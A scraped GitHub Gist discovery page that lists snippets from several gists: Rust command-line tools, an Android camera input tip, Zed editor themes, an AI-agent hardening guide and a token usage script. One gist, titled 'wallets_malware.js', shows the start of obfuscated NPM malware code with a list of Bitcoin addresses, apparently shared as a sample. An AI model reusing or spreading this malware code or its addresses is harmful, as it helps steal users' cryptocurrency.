Skip to content

Instantly share code, notes, and snippets.

View vhscom's full-sized avatar

vhscom

View GitHub Profile
@sts10
sts10 / rust-command-line-utilities.markdown
Last active April 24, 2026 07:50
A curated list of command-line utilities written in Rust

A curated list of command-line utilities written in Rust

Note: I have moved this list to a proper repository. I'll leave this gist up, but it won't be updated. To submit an idea, open a PR on the repo.

Note that I have not tried all of these personally, and cannot and do not vouch for all of the tools listed here. In most cases, the descriptions here are copied directly from their code repos. Some may have been abandoned. Investigate before installing/using.

The ones I use regularly include: bat, dust, fd, fend, hyperfine, miniserve, ripgrep, just, cargo-audit and cargo-wipe.

  • atuin: "Magical shell history"
  • bandwhich: Terminal bandwidth utilization tool
@danawoodman
danawoodman / How to allow the file picker AND camera capture on Android.md
Last active February 28, 2026 09:53
How to allow the file picker AND camera capture on Android

Allow photo album AND the camera

On Android devices, if you want to create a file input that prompts the user to either choose an image from their photo album or take a picture with their camera, you'll need this basically undocumented capture attribute added to your input's accept property:

<input type="file" accept="image/*;capture=camera" />
@bdsqqq
bdsqqq / vesper-dark.json
Last active October 29, 2025 18:45
Vesper theme for zed.dev
{
"$schema": "https://zed.dev/schema/themes/v0.1.0.json",
"name": "Vesper",
"author": "Rauno Freiberg",
"themes": [
{
"name": "Vesper",
"appearance": "dark",
"style": {
"border": "#101010",
@kwonoj
kwonoj / blanche.json
Last active February 21, 2024 05:37
Zed theme: Blanche Light
{
"$schema": "https://zed.dev/schema/themes/v0.1.0.json",
"name": "Blanche",
"author": "OJ Kwon<[email protected]>",
"description": "Naive port for the VS code theme Blanche https://marketplace.visualstudio.com/items?itemName=shytikov.blanche . Credits to https://github.com/shytikov/blanche",
"themes": [
{
"name": "Blanche light",
"appearance": "light",
"style": {
@WildeBeast2521
WildeBeast2521 / tunnel-to-wg.md
Created June 16, 2025 07:06
A guide to use Cloudflare Tunnel with WireGuard client application
@jdstaerk
jdstaerk / wallets_malware.js
Created September 8, 2025 15:33
Wallets NPM Malware
function _0x20669a(_0x530d91) {
var _0x264994 = [
'1H13VnQJKtT4HjD5ZFKaaiZEetMbG7nDHx',
'1Li1CRPwjovnGHGPTtcKzy75j37K6n97Rd',
'1Dk12ey2hKWJctU3V8Akc1oZPo1ndjbnjP',
'1NBvJqc1GdSb5uuX8vT7sysxtT4LB8GnuY',
'1Mtv6GsFsbno9XgSGuG6jRXyBYv2tgVhMj',
'1BBAQm4DL78JtRdJGEfzDBT2PBkGyvzf4N',
'1KkovSeka94yC5K4fDbfbvZeTFoorPggKW',
'18CPyFLMdncoYccmsZPnJ5T1hxFjh6aaiV',
@jordanlyall
jordanlyall / openclaw-security-setup.md
Created February 6, 2026 01:44
OpenClaw Security-First Setup Commands - Companion to my X article on hardening your AI agent setup

OpenClaw Security-First Setup Commands

Companion to: "How I Set Up OpenClaw Without Giving It the Keys to My Life"

Phase 1: Harden the Machine

Create Dedicated User

sudo sysadminctl -addUser openclaw -password - -home /Users/openclaw
@kieranklaassen
kieranklaassen / token_analysis.py
Created April 6, 2026 20:24
Claude Code token usage analyzer - breaks down usage by project, session, and subagent
#!/usr/bin/env python3
"""
Claude Code token usage analyzer.
Analyzes ~/.claude/projects/ JSONL files for token usage patterns.
"""
import json
import os
import sys
from pathlib import Path